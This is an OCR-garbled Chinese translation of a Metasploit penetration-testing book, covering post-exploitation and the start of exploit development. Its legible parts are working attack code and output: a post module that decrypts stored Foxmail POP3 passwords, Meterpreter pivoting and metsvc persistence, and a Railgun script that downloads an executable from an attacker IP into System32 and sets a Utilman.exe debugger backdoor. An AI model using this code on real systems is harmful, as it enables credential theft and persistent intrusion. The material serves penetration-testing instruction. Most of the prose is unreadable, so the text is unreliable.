(4) 7Email 3CPFJE R faccounts SCEHAE R Account.stg 3014

(5) it EEH Account.stg U, AR HPOP3IPassword A Ao
(6) X AMMEALIL L R 718, SRR AR B SUFY

(7) R 3k SE{EL PR A7 BRI

oK, AR, NS T

def run
profile = grab_user_profiles()
counter = 0

data_entry = ""
profile.each do |user|
if user|['LocalAppData']
full_path = user|['LocalAppData']
full _path = full_path+"\\VirtualStore\\Program Files
(x86) \\Tencent\\Foxmail\\mail"
if directory? (full_path)
print_good("Fox Mail Installed, Enumerating Mail Accounts")
session.fs.dir.foreach(full_path) do |dir_list|
if dir_list =~ /@/
counter=counter+1
full_path mail = full_path+ "" + dir_list + "" + "Account.stg"
if file? (full_path_mail)
print_good("Reading Mail Account #{counter}")
file_content = read_file(full_path_mail).split("\n")
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TESMHT ERURS 2, SeRBE B AU PR T WRLE B0 R, DIEFRATRE S 4 b 1 fifik
BEARRS

SOt BE X # B &

grab_user_profiles () lib/msf/core/post/windows/user_profiles.rb  f£Windows &% & NG
I H MR

directory? lib/msf/core/post/file.rb o e e (O E B iy v A

file? lib/msf/core/post/file.rb WA — A e B SR B E

read_file lib/msf/core/post/file.rb R AN

store_loot /1lib/msf/core/auxiliary/report.rb o e B 3 4 B AR B — A e
AR 4

M EHEAE T LA S, AT Horab_user_profiles () JMH T ECE SCHF, Ff24dF
AR Local AppData3CFJe . — BB, Wik B IRAFAE— 2 A full_pathfA8 i,

N RB XA AR S mail XA, FEmail SCUFJe AT 1 P 2 8B LL - SCF e 24 T 20U
o "TLMIHAL rectory ? IEREIZ ISR BAEAE; —H ), St IENRACE g
T eFERFR A AR dir_1ist T, Bk, A — AR full_path mail, RAFEAS
email 2! Account.stgVERAESFE . PTLMEH £11e2 7 B A F Account.stg SIS BATAE 5 WNRAFAE,
MBEHGX AN S, ARG F A WA ER LA T4F 50 e ot o KB NSRSl £ile_content
1%, THEZGH TR AR

file_content.each do |hash]|

if hash =~ /POP3Password/

hash_data = hash.split("=")

hash _value = hash_datall]

if hash_value.nil?

print_error ("No Saved Password")

else

print_good("Decrypting Password for mail account: #{dir_list}")

decrypted_pass = decrypt (hash_value,dir_list)

data_entry << "Username:" +dir_list + "\t" + "Password:" +
decrypted_pass+"\n"

end

end

end

end

end

end

end

end

end

store_loot ("Foxmail
Accounts", "text/plain",session,data_entry, "Fox.txt","Fox Mail Accounts")

end
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AT} file_content FTHYE—AN 25 AR T TR, DIMEAHR P AYPOoP3Password, —
BARBIER B, A= Bl 705, IR i ERAE R i hash_valuet,

TR L hash_valueflldir_list (P4 ) LiB% REdecrypt () T o I
ZJE, UM R RS i decrypted_passH, BRI — DA Ndata_entry A, SR
Je B A B S AR AR TS N B rh o Z W DR AEA, SRR AN AIELE B bR E—3L e 7 20
MEFEIK T o BRI, BE— SR IEIE M Z5 AR N ] data_entryH . MITHBAESERLIG,
Hstore_loot Jik#fdata_entry B IRAEIEHE . FiTZ M store_loot$ifite NS4k,
IREEE R AR . WAL | session, data_entry. SCHRAYZ PRSI A

A T PR AR

def decrypt (hash_real,dir_list)

decoded = ""

magic = Array[126, 100, 114, 97, 71, 111, 110, 126]
fcO = 90

size = (hash_real.length)/2 - 1

index = 0
b = Array.new(size)

for i in 0 .. size do

b[i] = (hash_real[index,2]) .hex
index = index+2

end

b[0] = b[0] ~ £fcO

double_magic = magic+magic

d = Array.new(b.length-1)

for i in 1 .. b.length-1 do
dli-1] = b[i] ~ double_magic[i-1]

end

e = Array.new(d.length)
for i in 0 .. d.length-1
if (d[i] - b[i] < 0)
eli] = d[i] + 255 - DbIli]
else

el[i] = d[i] - bli]

end

decoded << e[i].chr

end

print_good("Found Username #{dir_list} with Password: #{decoded}")
return decoded

end

end

ERETIEENC TS, R EE SR EN P 4. Liinagl CRMEEY], 1k
FEEARTER, B PN RIOE F AT ~draGon~ I 10 IR RN o FH A0 RAFAEECO
T, — SRS A M

Tk, R A (E R A2 A8 25 RS BRI, 3R B B i &4 b
KE.
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ETF—2, BWRAESRTFT (BRI TER ), SRR EN TR o . X
FIEE—AF1T 5 fcob  TxorRIAE, SRIG HR 25 AR BB o S — AN Ak . (I, it 590
HATXOREAERT I Hib (01 MH . 3X— s X Foxmail 6,558 H

IAEE Hlmagi cBLH PR, HR— D5 double_magic, 7 Hdouble_magicBZHAY
K JE K R, XEREE b YSE— e R AN T E LR 588 double_magicH T
HILRPUTROREE, TR, AL FE— N aPITiEdxorRB B M TT R I TR MEE

P XORMYZE BARFERIEAH A, F—538 5 WEH o 28] af N Zs , (B YA A 45 5/ N T0
A, g hn2ss.

T W IR e P RE LR IIASCIME T N Bl decoded i, IR HAR B A A
TS TR A T A

msf > use post/windows/gather/credentials/foxmail
msf post(foxmail) > set SESSION 2

SESSION => 2

msf post(foxmail) > run

Fox Mail Installed, Enumerating Mail Accounts
Reading Mail Account 1
Decrypting Password for mail account: dum.yum2014@gmail.com
Found Username dum.yum20l14@gmail.com with Password: Yum@12345
Reading Mail Account 2
Decrypting Password for mail account: isdeeepllive.com
Found Username isdeeep@live.com with Password: Metasploit@l143
[*] Post module execution completed
msf post(foxmail) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo

Computer : DESKTOP-PESQ21S

0S : Windows 10 (Build 10586).
Architecture : x64 (Current Process is WOW64)
System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/win32

RAI N, FRATHT AR FAHD X A4 £E Foxmail 6.5H1 B SRATIEFA TR T .

2.3 &7 Meterpreter Bz

1E B bR it B AL 3RS — > Meterpreter iy 2 17 5 il A FR 2 5 — AT B # A B LASK 19 .
Meterpreter A LA ] M ify & 4841 T AEWOE # T H AL B 58 iU MUT S5 & F TR . BRIZAb,
Meterpreteri® A R 2 P B RUBIAS AT AT, X i Mo il U R b e o R0 . X SEA T L)
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FERB BT AL D P TSR . S AT 5 FEAST R, AT LG B3 e AR (1 4 s 3 A
Anfaf7EMeterpreter HH A FX SERAIAR

8 MVATF B T T 3% 4 Meterpretert) & AR #-4~i% & % . http://scadahacker.com/library/
Documents/Cheat_Sheets/Hacking%?2-%2Meterpreter%2Cheat%2%2Sheet.pdf,

2.3.1 Meterpreter BIARNZE S

FIHATAIE, FRATE LU T MeterpreterJa /] . M7 27E Bin R AP THE 550, &BnT
DL i MeterpreterSE B . AR TESEA BB NN, FIHES HB—LeRpR T K . A Meterpreter
FHEUA PRI B A SE TR . FEXAMEOLT . FRA A B RE S 58 BT S5 1 I DR
hnE|Meterpreterd, FA1JeHPAT— T Meterpreterf i IHAE, 40img— FERE T

2.3.2 LIHIESIRYH B AR

BAR T B e 0 2l s TE 8 1 T LY ARSI et S A AL o (R BE X R —
My XBA—FREIA I Web RS54 o X IRSS i & 15t e T HA Alice i T AEHLAT
PAVIIA) . X IE BUR 5 2 1 B B Alice T TRAL, SRR & 2o 422 R U7 7] () H F5 Web
M55 . X B LAAliceTHRHLVE AR, FFRAT A 09 Birf Mo it it i i Alice ) TR HLTS
K4 BArWeblR55 4. FHEIMIER G H T — A8 BRI R .

CharlieflyWebfiz % 52
IP: 192.168.75.140
(XA Alice H ML S H S TERE)

.
- o
—_—

AlicefJHHHL
IP: 192.168.75.130

L

Mallory (Hiti#)
IP: 192.168.75.10

E R UESA =AHENL., fAMallory GBIEHREHE) HHEN, AlicedIitEH, L)
KA R A2 2 BR il i Charlie BIWebBR 5588 . iX 15 WeblIi 55 #% Hh—~ 44 BRI TR ) H s 4E4 1
FrAlicef) R4¢ (IPHBAE#192.168.75.130 ) LIAMORTA Tilnl. BRIL, S5 il B E T X Web
N5 g AU I, e 2 A g v 2 B AN R AR R o
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71403 Forbidden d & |

@ [@ 19216875140/ restrict v @ B+

5 Most Visitedv 'ilOffensive Security N Kali Linux ' Kali Docs nExplcit-DB \Aircrack-ng

Forbidden

You don't have permission to access /restrict on this server.

Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch Server at 192.168.75.140 Port 80

FATAGE, 1N RAHIN DL, Alice#IAT 14 HeWeblIR 55 4% HUAL R o PR e it B — 28757 7
FATXH A 55 s A A AR SR A Alice BOTHALEE K th 25 0 /5 ZEAX AT R AR BRI A o

P, H— Lt BB dE I A Alice R THHHAL, IFHHUS H bR RGE R Meterpreteriy 4742 HilAL
PR PR EAR b — U I — 25 B Web il 55 a5 OB I, 10K Fei/F & 1E H AR Weblil 5545 Y
RIE I Alice TSR T % Hh EP% WEATE— FHITHI IR

PATautorouteliA, Il H - BRI S50 & N8 E BATICE ViR 69 EHLAIPHBAL , X
FEsE AT LIAE B 23R M5 % 19 Alicel) FHL E T I— 453535 Charlie EHLA B H .

T2 BT — M HE R SS #KE T B3R 3 0 Meterpreter 2 TE 15 4 H AR Web /IR 55 4%

PiMallory ) f KT , BIAERT 200 30— AT LUK K i Meterpreter & 24 45 HARRYRIERL . 7]
PiiE$fauxiliary/server/socksdaiX ™Mb, 1EIRATE B & A5l .

sf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on,

msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1

msf auxiliary(socks4a) > run

[*] Auxiliary module execution completed

ATk shsocks Rk G4, A TFisrRvEOSTIR B M127.0.0.1, JfH¥fSrRvPORTIE ~H1080, SR
JaiB bR,

BTk, TEE DA S etc/proxychains.conf P iU & . ik E7Eus 1080 B4 IR 55
ARgHbE127 0.0 1USINENZSCHE, AR R R R IE TR

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"
socks4 127.0.0.1 1080
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PRAEFRA TR S T H RS FHACBRIBE R, WFirefox . Chrome. Nmap. rdesktopZs, iEFRf 1R
BENEA B RS A E, W RS

Connection Settings
Configure Proxies to Access the Internet
O No proxy
O Auto-detect proxy settings for this network

O Use system proxy settings

® Manual proxy configuration:

HTTP Proxy: l ‘ Port: [ 0

[J Use this proxy server for all protocols

SSL Proxy: ‘ ‘ Pgrt:[ ol
ETP Proxy: [ ‘ Port: [ 0 A‘
SOCKS Host: [127‘0‘0‘1 \ Port: ‘ 1080 |2

@ SOCKSv4 O SOCKSvS
No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24

O Automatic proxy configuration URL:

BUAEH— AT I B s a5 2R OBR ] H 5% TR,

Cintpy//192.168.75. 140/restrict/ ] o |
48 @ 192.168.75.140/rastrict/| v @ ([Bv o) 2

[EIMost Visited¥ Bl Offensive Security "% Kali Linux % Kali Docs EBExploit-DB W Aircrack-ng

Welcome, This is Restricted Area , Only Accessible to
192.168.75.130

T FRATERADAS T HARBRGI 5] H SR AT TRAER o 78 H bR Webli 55 & L irestrict FH 5%
Lt E—IPIL R, IERAPRE — T BRI T SRIPRIS R o

* ‘ 192.168.75.140/restrict/ip.php

Most Visitedv mOffensive Security . K

Your IP 1s192.168.75.130

WRLIH T FATAREE 15 1) Alice 13 HAHLIPHUIE 5 [0] H AR WeblR 55 2% . ANE TR AT WebR
F AT A e, 7EWebRS5 A IR rhixX — VI e Alice T TN o SR, FRATTAY ELSEIPAN 2
192.168.75.10,
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LA [ — N WA (84

Q HBEAlicenIiT B,
Q FEEE I TEAlice T RML 223 i Meterpreter 78 Il T — 2% ] Charlie 1) BR il 15 7] AR 55 %% 1Y

% H 3,
Q SRIGHN T — socksfCHRAR S5 2%, LASEIRE BT 1 X 28 B3 it et #4501 21 i3 3+ Meterpreter
KL F Alice AL L.

Q HIEEE A socks{C AR 5 ik B il B T RGO CH T B S
Q B R g A C B 1 B M socks it MLk

A % fEMeterpreter#4~47 P i# it socksX P2k £~ 25 1% JA Nessus &} B AR 69 M 25 1
8 R AT E 512 8, F 17 Flhttp://www.digininja.org/blog/nessus_over sock4a

over_msf.php,

2.3.3 &EKAIGIER

TEHRAS HFRH BN RIRBR UG , DRI 2 A AR FR AL . Aid X T s
B, AT ZEVE T O R) RS N A5 B S B AR A3 A Ak . Al Meterpreter, 7T DL
MetSVCHIPersistence MRS [E i) 2 7E HARTHENL F 22235 51T TR T

XHEAKGE, Persistence ME—HAE, 76 L—FPIRATTHE T A M X A7 %
PApxt BAR EALRFEERIALR . BUFER B MetSVCHI TAETFE .

MetSVCLRAEHUINEBER AR EHL L, RIG RGNS Az1T. M EHMetSVCEFTITH
FREDLA— 0 1, XD DR 2K AME B I A B T, RB et & O, s ATEAR fa ok
B AR EAL L

15 HART AL B 22 MetS VO R — MR A TAE, KEF W58 MESS

meterpreter > run metsvc -A
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\WINDOWS\TEMP\bPYQYuXAbCWKLOM.

*] =>> Uploading metsrv.dll...
*]1 >> Uploading metsvc-server.exe...
*] »>> Uploading metsvc.exe.
*] Starting the service..

* Installlng service metsvc
* Starting service

Service metsvc successfully installed.

[*] Trying to connect to the Meterpreter service at 192.168.75.130:31337...
meterpreter > [*] Meterpreter session 2 opened (192.168.75.138:41542 -> 192.168.
75.130:31337) at 2013-09-17 21:07:31 +0000
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AT LUE FIMetSVCTE3133730 HBIEE 1T — RS, A5 BAL T —-BERHE 2 AR AL,

A0, BT EGINZ RS, AT H T ZF] I exploit/multi/handler, 5 X o 5 M1 152 B h
metsve_bind_tcp, BLREMSFUERZEIRSS . X —UIa0 T~ i E el = s .

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/metsvc bind tcp
payload => windows/metsvc_bind_tcp

msf exploit(handler) > set RHOST 192.168.75.130

RHOST => 192.168.75.130

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 3 opened (192.168.75.138:42455 -> 192.168.75.130:31337)

meterpreter >

AE FAR EVLERE SN T, MetSVCINRCRIIAAAAE . T ZUK A MRS H AR EHLRF AL
BRIV, X — ORI 4h, R T RS E B R

2.3.4 APIiEM# mixins 2

FRATRIRI WL IR E] T Meterpreter ) S 2 DIRE , X LD REAA A5 B TR RSN T
ZE% o
BUAELE R AT TR AR 5 Meterpreterftd TAEAL, 457~ Meterpreterti B FIEIA i S A G L 72

K DR AT SR LB T Meterpreter T BESEMUR T BFA TS AEMT 55 . FECRMIDE ¥, B 29T
K ELE USSR ST 1 LB BT B A R T 55

B 6k T i — T Meterpreter JAI A< B9 FE il 11 . Meterpreter 2 #2 At ZE At it 2 N A w232 O
( Application Programming Interface, API) ¥ MlmixinsZ& . 7 5 2 & F Windows T 7 §i 3
( Dynamic Link Library, DLL ) C{Fsk# 18 H—2ERuby%i S E’J@%ﬁ%ﬂf ST Y NN

mixinsERuby i FE1E 5 Y — D HEAIZE . XA E T HAR &R, YIRNTAEIER
PRI SR A AT S0, mixins BHIAT HI . BRILLASL, mixinsIFANSE 2R IRBH—#K 47,
2B IS BRSNS B 5K | B 4E i Meterpreter AR

9 A % mixins#) £ %13 &, 37 Fhttp://www.offensive-security.com/Metasploit-
unleashed/Mixins_and Plugins,

HURAE/lib/rex/post/meterpreter fil/lib/msf/scripts/meterpreter H 5% FH 4 T fif Meterpreter ff fiff
FHR RS

API FI$E A2 7E Windows R 48 N NDLLICHF i G E B RE . 72247062 ~] APIIA .
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2.3.5 #HHEBENX Meterpreter Bz

FeRGE M — i H i Meterpreter AL B, X AMAAKG A& BA T FE A N BLE T
RIFHkFexplorerit e, I A BT XA

CETFIRSS 20 S T I RS T T 5 . 2
ST Bt I -
is_admin /1ib/msf/core/post/windows/priv.rb A M S G A S AR
session.sys.process.ge /lib/rex/post/meterpreter/extensions/ i HEr RS M4 A0S THI PTG 2
t_processes () stdapi/sys/process.rb
session.core.migrate () /1lib/rex/post/meterpreter/client_ P IR M Y A R RS R 2 5
core.xb 2 IPIDF IR R |
KEE NS
admin_check = is_admin?

if (admin_check)
print_good("Current User Is Admin")

else

print_error ("Current User is Not Admin")

end

session.sys.process.get_processes().each do [x]|
if x['name'].downcase=="explorer.exe"

print_good ("Explorer.exe Process is Running with PID #{x['pid']l}")
explorer_ppid = x['pid'].to_i

print_good("Migrating to Explorer.exe at PID #{explorer_ppid.to_s}")
session.core.migrate (explorer_ppid)

end

end

XEBA LI is_admin () BRECTEG, $A0 R BZERIAF 2] — D24 Hadmin_check
FyAR R, ARPEAE Fradmin_checkfI(H, if-elsefcMiEiet B ANFEIFIE,

Tk, ifflget _processesPRETEEEANUERES K Hh A fRexplorerexeilt . HKEIZ )5, ¥
XA PIDIR (A4 explorer_ppide £ F—70EH, ffiflsession.core.migrateifHiy]
B #lexplorer.exe R I,

XS A R AR 2 — o BRI, X BN [a) @, 7E/lib/msf/scripts/meterpreter s HUA 530,
M7 HLX SN SO R AR AT R XATA] pR %, TS A Meterpreter® JiS 2 76 MIF B 18 FH 1 26 R WE 7 FRAT]
AILVEB XSSO, a0 R i A R IR

root@kali: /usr/share/metasploit-framework/lib/msf/scripts# s

eterpreter meterpreter.rb

root@kali: /usr/share/metasploit-framework/lib/msf/scripts# cd meterpreter/
root@kali: /usr/share/metasploit-framework/lib/msf/scripts/meterpreter# ls
ccounts.rb common.rb file.rb registry.rb services.rb
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MFTHIXSASCAERY, 1T AR B BE AR B 42 MM etasploit i £ M 51 A T Frg B R JEESC
e RIS ZEAR AN 5 | 3K 2 pREC Y 22 S

X BACHSARAE K /scripts/meterpreter/mymet.rb, #RJ5 7EMeterpreter P T iX BeACAY , Kif52)
DT i o

meterpreter > run mymet
[-] Current User is Not Admin
Explorer.exe Process is Running with PID 10868
Migrating to Explorer.exe at PID 10868
meterpreter > I

IAERATFHAEN T3], Tt &g S MeterpreterfiIA , PATEFMES, iS85 1 A Sk,
X — VISR A fT 5 FRAF AT TR S A BSOS, DIETE R A T fif#Meterpreter,

ﬂ A HEMetasploitfe 4 K & FF Lo, IR RIZF- % 5 Meterpreterip A, 2
(/B —RSHERES,

2.4 5 RailGun thET{E

RailGunf 2 G2 —Fh A Eioke, 2R, EIFEXER . BRI KigZ£,
RailGun AR VF/RTEA w13 A . IIDLLSCAAY IS 0 T B F 7 F Windows ) API,

ESCREA ARZ i Windows DLLICHF, I Hog B 7 AR LA RS GARIR AL T
ERIR R S, IEFRA TR B WA RailGun 5 AT FESS, AR & 2558 il — L8 i 2 i)
JRB R TAR.

2.41 3ZHZ Ruby &S ITEAM

FEAH HRailGun Z |, 77 26 7E Meterpreterif 2T # A irb iy 247, T BIE R T Qo]
Meterpreterfir 21 T U455 i rofir 247 .

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> 2

=> 2

>> print("Hi")
Hi=> nil

>> i

wLIZE FEPES], R A L romt o] LM Meterpreterfit 247 Y1 238 H 2 Ruby i 247 -
AT LLIE 3 Ruby i A T I TR 55
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242 THR RalGun REMARS

RailGunELA W i KAURE ST . B 24T 55 Metasploit N AEEAT, RailGuni ] LUUH]5E R, wT LA
T RailGunfii 5 HAR RGHIDLLSCHF I 20 5%, JF H AR et R B & .

BT A AT i8S Rail GuntE— 5k R FHEERTAPL, LUK B T AR o

client.railgun.DLLname. function (parameters)

X EAERAIIGun I FHAPIFFEARZE#) . LT client . railguni® X T FA TR 2 5 i )
RailGun¥jfE . X85 DLLname g W] T FEHAT— N DLL SO i 2 T B DLL A FR o KBS
function (parameters) 8§ 7 2 MDLL A s FH I APTRR B E S50,

KB —ABIT

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.railgun.user32.LockWorkStation/()
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>true}

>> I

XA AP A TR ZE R N BT .

. Windows 7 Home Basic

TEXH, Muser32.dISCAFEH R Lockworkstation () BRI TR FEHBERGEHA T
SIEL /T

fiets , TAPREF AP L AR EMSEEH

client.railgun.netapi32.NetUserDel (argl, agr2)
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T, B NE AL EMER R R R

IS
%
T
=
7
|m
B

Niptn

w. Windows 7 Home Basic

AT R — A 7 2 AN pun BT

HRTA LU I

"=>"Forma:

=> {"GetLastError"=»997, "Error g

>>

>> client.railgun.netapi32.NetUserDel (nil, "Nipun")
ge failed to retrieve the error.",

"return"=>0}

Rt — NP RO MER o

Apex
Ll::g g ed on
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WIMRE! XA ELHEK T o RailGunIL i je— MHSAR T H, ©e Lk
Nipun ARGEHMIBR T T T 201, kB —THSEMER Ini 1l & X, Enildg
BT PR RS TAE . R, WER RS B2 e — AR R, R S 500
BE N HbR RS HINET-BIOSTH .

2.4.3 #=) Windows F# API i

DLL S R ZHAT 55 R a R 58 s DG . PR, b 2 Elt 2 WA A MRS DLL SR b 2 25
TR T5 . N— M IEB R DLLSC R R ]G 3 1 75 i 27 Ak — MR B B S HE . 5 Metasploit
FIESCHERAL, B TRZ . WA > Windows APUAF, 7T LLiJi[Alhttp:/source.
winehq.org/WineAPI/Flhttp://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx,
HAH V2T W22 R, IR A S RailGun IR FY BRI 2 1T, o2& — N4 FIAPI
L

8 7 %4 RailGun ¥ #H#DLLIX 469 & %42 8., 35 5% vA T 342 : /usr/share/Metasploit-

framework/lib/rex/post/meterpreter/extensions/stdapi/RailGun/def,

2.4.4 WEESZHK RailGun #AK

BRAEFF 4R TR A2 2] (i R ailGun3k 4 5 Meterpreterf) 4 AR . 1 QI E— NI, X4~
AR 22—~ A 52 LA FREIDLL /AR N # Metasploit i) ST H

if client.railgun.get_dll('urlmon') == nil

print_status ("Adding Function")

end
client.railgun.add_dll ('urlmon', 'C:\\WINDOWS\\system32\\urlmon.dl1l")
client.railgun.add_function('urlmon', 'URLDownloadToFileA', 'DWORD', [
["DWORD", "pcaller","in"],

["PCHAR", "szURL", "in"],

["PCHAR", "szFileName", "in"],

["DWORD", "Reserved", "in"],

["DWORD", "1lpfnCB","in"],

1)

X B LAurlmon.rbh £4 A7 H 5¢/scripts/meterpretert,

X BHCAL 25 S CA\WINDOWS\\system32\\urlmon. I N T —AN5 1 B . XA SO E T
Vilnl—A~URLFZ BN A DiRe, DAL H A DIRE, HLan B 8 ek, TR I
PR IRAFAE T B FRurimon s #258 , ¥—A> HE LR INBIDLLICF (i HIDLLICHF 4 44
FRAVE RS — S8, HHFRATRRE B E IR B & SCREUAAE NS A28, XS 80
URLDownloadToFileA, SH—F7 MRS R KA DLLIREUR 5 B 4 EDLL S A7 . WERE SR
FETE, ARAS S — IR N REL . QSR R AR A& — D Active X1, S8lpcaller
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Fp EoINuLL, AR — A ActiveXA1M4, MPKEHEE HCOM L . S8szUrRLIGE TE T #
HJURL., 2#(szFileNamef§ ] T MIEEURL FEM -4 . S8 Reservedil H#E 1% B ANULL,
Mi1p BRI PR N2 RS . SR, ANSRIFA T ZRRS(E MG, X AMER R B oNuL L,

BAERIER D) — A, XA AR ST A R FATEAIE— RS @i, XAk
BOFE T B 3 — R SO HES I EIE S WindowstR 4 R 48 AR ) T RAEHLES (utility
manager ) FJAFME. DI, B SFRATZE R BI T HATBAR B mh s, 1847 A9 SR NIA T 2
MSCPFE B R o

TEFAEI H 55 F B — 24 Mrailgun-demo.rb Y JHIAS, NI,

client.railgun.urlmon.URLDownloadToFileA (0, "http://192.168.1.10

/A43 .exe","C:\\Windows\\System32\\ad43.exe",0,0)

key="HKLM\\ SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File
Execution Options\\Utilman.exe"

syskey=registry_createkey (key)
registry_setvaldata (key, 'Debugger', 'a43.exe', 'REG_SZ')

FR2Z HIBGR I —FE, A S —4 128 Furlmon SCAH U URLDown 1 oadToF 1 1 e PREL S HL T
TS

ok, 7EACHEHKLM\SOFTWAREMicrosoft\ Windows NT\CurrentVersion\Image File Excuion
Options\ F E Al #— N H i Utilman.exeft

frutilman.exefd | 1H -8 57— 44 MDebuggerMREG sz ITEMFE .. &/ ad3.exellk
ﬂg%%Debuggero

MM MeterpreterizfTIX A, BHREX —VIRIMEEZT .

meterpreter > run urlmon

[*] Adding Function

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > run railgun_demo

meterpreter > I

izf7 A railgun_demoZ &, w2 fdi FHurlmon.dll F 2 SCAHE HRAS , JRE XA U BRES I E:
Tesystem32 o, Rk, QIEE— K T HAA AR had3 exe M4, Kk, 24
NFEESE Bt D3 T UL i, AN BSOS PR, 2 B —1ad3 O HEAY . 1X
S BRI O BAs R R bt L — 1N ET .

T, REFMEEFFIE P T4 (ease of access button ) 2x &4 . 455840
TR,
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. Windows 7 Home Basic

ATUES], P PR E— A ad3 OIS IR, AR B RS BY T HAS g . FRATTE
FETCOIE SR, T LSS FPIRE, L aniiE e . i FHCMD a1 7 DA S A4S Fh s R A3
AR IR 2 RailGun A TR, B 0T LA BIAREEFA ML U5 A4 fal — N DLL3CE, i B AR
HAN 5 SRR

8 A % WDLL & # 69 % %1% 8, %% Fhttp://msdn.microsoft.com/en-us/library/
ms775123(v=vs.85).aspx,

2.5 NG

X —FEAZH T Metasploithi b il 4 5 o /4% T Metasploit AR | J5i5 B HHIAS | Meterpreter .
RailGunl) S Ruby /7 45 o MilX—Fe, FATFS T Wik A 2 R EUA i E MetasploithE 4
o, XA T iR K AHE AL A SRR S . FRATTAGE T Ruby i FEis 5 RIS EITE, 22> T i)
R | BB K Meterpreterd) FEREHR YRGS o Wihie 1 4o Al HRailGuni®) [ 2 L pR%L
WINTIRE, I in—ADLLIC, 30 [ HARADLL S/ Hr s in—A~ H 5 SCrREL.

T —EH N GiMetasploitH B BB I K o BA P SIT —A A SGBER, X iR
HEATE M fuzzE, B85 HAREAE, LA 10 R e FTWeb Y i 208 B R .



SEERNT LT IE

“ho R B EA I Frbughyid A2, AR 4 HAER A T Abughyid AR, 7

Edsger W. Dijkstra

) BB e EESE TS BRI A G 7 DL R Fid R . AE G A s Pl ,
SR I P 1 AR 20 I LI A T80 . BRILZ A, FAUR e SR T & b A
B2 A AT IR A B Metasploitfi 5 2 BRI T H. . ANid, RN 490 55 B
B — D E RGN o WERXTH AL —E5 A0, R ICE P — DI B s R o
I, FATE S AT AN R RS B R A K

AREHEIR T LT ILAZA,

Q BBERGIT KBRS B

Q 45 B BRI IS

Q S Ara A TARE T2

Q AT XA A T fuzziii

Q i fEMetasploitHEAR H 25 55 2 B LR o

Q ffi fiMetasploitZgid FRAPHLE HIL 72

3.1 BIEMREMERS

X — R E IR T3S I mE A, [ B HORE A [R 2248 th i A B R 88 T .
B4R 1838 £ 55 2 7788 ( Extended Instruction Pointer, EIP ) fll#%$8 %t & 7728 ( Extended Stack
Pointer, ESP), DA EMEB BRI GRE THEZ/EMN. 74, Z#4E (No operation, NOP )
52 FEkEE (Jump, IMP) $84 LL K EN RS S £ PR 2 B rh S 2R, R 2isy
STHINES

3.1.1 EAHERS
BT — TS B BRI T SRR )
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IIIRIEHRIE TR R . AR LA SGB BRI AR

O F7&F8 (register ): XRALHES I HRRAAAGE B —3 X5, 1Ah, WIREFFIHF A4k
AEFREFRAT . IAEERAE . APIR AR

Q x86: LiE— > FELNHAEIntel -5 LR RGAEM, WHE2MHAERSE, Mix64/2&1E64
PEERSE

O C4miES (assembly language ): X & —FMIRGnFEIE T o 140G 5 BAERK TR,
{EEXPC g 75 10 Bel 12l 2 24 TAE U — e mg i 83k

Q ZMX (buffer ): ZZop XI5 R T R AFRE A 1) — BB e Y NS ), i H B
DIB s HE IR RS, i e T Il T A At 2 ) 288

O BiXEE (debugger ): WHALR VXS AT AT XA T8 500, BIGXIAEAGRS . FFA74s .
FRAF A Bk VEE L P T L R AR o H R A L)z A R A 3 AT immunity
JEiA#E . GDBHIOllyDbg.

Q ShellCode: X E—EMTEHWAZG LPITHILEES . &2, ELEwHRIIT—1
A AR - 25 2 U5 0] B As RGEABR FshelliffF2 . FrLL, ShellCodesli&— 41T LighAb ¥ ds
HRRTE S -

Q #% (stack ): HRFYELIE S AAFHM G, WEMHHF#ES Y (Last in First out, LIFO)
P, R A Ja AR S iR e s B o

0O ZMXiESE (buffer overfow ): XM FZFE MG X HAFRL T R 098, @l T
SEPPIX RS L

O /X FHFEEIR (format string bug ): X JE—LE7EMM FHprint R 5 A0 a3 a4 11
B SCAR AT AL PR B AR . 7S A —ALRRE B IR, 2R RS S8R T
b 2 SR

Q RGERA (system call ): FEFAEHITHIRHMEIIF THAE R G RALR 71k

3.1.2 HEHZEM

TSN E LT G0 I2 W] Fh 45 AL B A LM B o 1 5% T A IO 4L 4y, 4R
JEFRRAZE S B RSy

RS ALETE

TETV i 55 R e RS R 2 AR 55 Z 0T, 6 5Ek T — B RGERIAS AR 2 A4
GUE—BR . KT NASORE N HnXikA .
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LIS AR, RPN TEHAOREL RE B &ELN . i, CPU. AFENIEA
iR & 2 I ) B — U S AR 2l i RSB

CPUfEN R GERY AL PR, &R GE P i iE BE AU AT LIRS T R T i CPUH Y
BRI LU BT HZUE A,

T

IR T CPURYFEASL 541, Filindz#l 8 7T ( Control Unit, CU ), 31T JT ( Execution
Unit, EU), FERVMIRE (Flag ), % FAREL BT RK TH— F& N r 6.

HARERSY I &

2l T FER IR BRI TR, JRR R k2
PATHTT SERL T HIERT AT IE 7R

Ea R R FHRA B AR G AT — AR 2L

iz FRAE R GERA T hRIR A

3.1.3 EHiE=R

T — R LN AR o R (L T T A At B B B 9 SR ) B T o 3083l
FHRETRII A BRA) HORp 150 S B A e BT B, 91 NS A3 2 A 4 A1 32407 A7 A A BE 2301 [] I AL BES
RERB2A i TT. BRAEER . REGFSR. MEGER . RIIFERMERE T AR
Ffia . ENULTFEM T ARG R IIEE, PONTERNTNERIRAT T B A ZAE B Rl . BUAELETR
TIARATFANE B X L2 A7 DL S ENTTRIE T

F 7 & B ®

EAX e A i B AR R Fngs , /N A3240r

